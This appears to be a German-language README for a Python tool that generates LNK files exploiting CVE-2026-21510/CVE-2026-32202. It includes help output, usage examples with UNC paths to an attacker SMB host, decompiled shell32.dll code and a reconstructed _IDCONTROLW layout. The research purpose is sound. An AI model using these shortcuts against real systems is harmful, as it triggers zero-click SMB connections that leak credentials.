
Generiert LNK-Dateien mit manipulierten _IDCONTROLW-Strukturen zur Erforschung von Windows-Shell-Spoofing-Schwachstellen CVE-2026-21510 und CVE-2026-32202, einschließlich Reverse Engineering der shell32.dll-Interna.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLW: Rekonstruktion einer undokumentierten shell32.dll-StrukturForschungskontext: Analyse von CVE-2026-21510 / CVE-2026-32202 (APT28-LNK-Exploit-Kette).
Basierend auf Akamai Security Research.
Ziel: Rekonstruktion der internen_IDCONTROLW-Struktur, die vonshell32.dllzur Darstellung von Systemsteuerungs-Applets innerhalb einerLinkTargetIDListverwendet wird.
APT28 nutzte eine Schwachstelle in der Windows-Shell (shell32.dll) aus, indem eine bösartige .lnk-Datei erstellt wurde, die eine LinkTargetIDList mit einem UNC-Pfad enthielt, der in einer undokumentierten _IDCONTROLW-Struktur eingebettet war. Dies führte dazu, dass explorer.exe ohne Benutzerinteraktion (Zero-Click) eine SMB-Verbindung zu einem vom Angreifer kontrollierten Server initiierte.
Die Struktur _IDCONTROLW ist nicht dokumentiert im öffentlichen Windows SDK oder in den öffentlichen PDB-Symbolen von Microsoft für shell32.dll. Dieser Bericht dokumentiert ihre Rekonstruktion durch statische Analyse in IDA Pro.
Gemäß MS-SHLLINK enthält die LinkTargetIDList eine standardmäßige IDList — ein Array von variabel langen ItemID-Einträgen, das durch ein 2-Byte-Null beendet wird.
Im APT28-Exploit enthält die IDList genau drei Elemente:
| Index | Inhalt |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — Systemsteuerungs-Root |
IDList[1] | CControlPanelCategoryFolder-Element — "Alle Systemsteuerungselemente" (Kategorie 0) |
IDList[2] | _IDCONTROLW — CPL-Applet-Eintrag mit eingebettetem UNC-Pfad |
Dies löst sich in den virtuellen Pfad auf:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL-Eintrag}
Da _IDCONTROLW in öffentlichen PDB-Symbolen fehlt, wurde die Rekonstruktion durch Nachverfolgung der Aufrufkette in IDA Pro durchgeführt, beginnend bei CControlPanelFolder::GetUIObjectOf — der Funktion, die für die Darstellung von Systemsteuerungselementen im Explorer verantwortlich ist.
CControlPanelFolder::GetUIObjectOfWenn der Explorer einen Ordner rendert, der das bösartige LNK enthält, ruft er GetUIObjectOf auf, um ein Symbol für das CPL-Element zu extrahieren. Dies löst die folgende Kette aus:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW wird hier ausgelöst (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← erkennt _IDCONTROLW
_IsUnicodeCPLWorker — Strukturvalidierungconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Dies offenbart die Unicode-Markierung bei Offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — Feldzugriff// Unicode-Pfad gelesen von Offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI-Fallback liest von Offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Dies bestätigt, dass der Unicode-Pfad (ModulePath) bei +0x18 beginnt.
_IDControlCreateW — Strukturaufbauint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
_IDCONTROLW-Strukturstruct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Größe | Feld | Wert / Hinweise |
|---|---|---|---|
+0x00 | WORD | cb | Gesamtgröße der Struktur |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | Applet-ID (z. B. 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validiert durch _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validiert durch _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validiert durch _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — Unicode-Markierung |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name folgt unmittelbar auf ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs. _IDCONTROLWDie ANSI-Version (_IDCONTROL) wird von _IDControlCreateA erstellt und verwendet ein anderes Layout:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Wesentliche Unterschiede: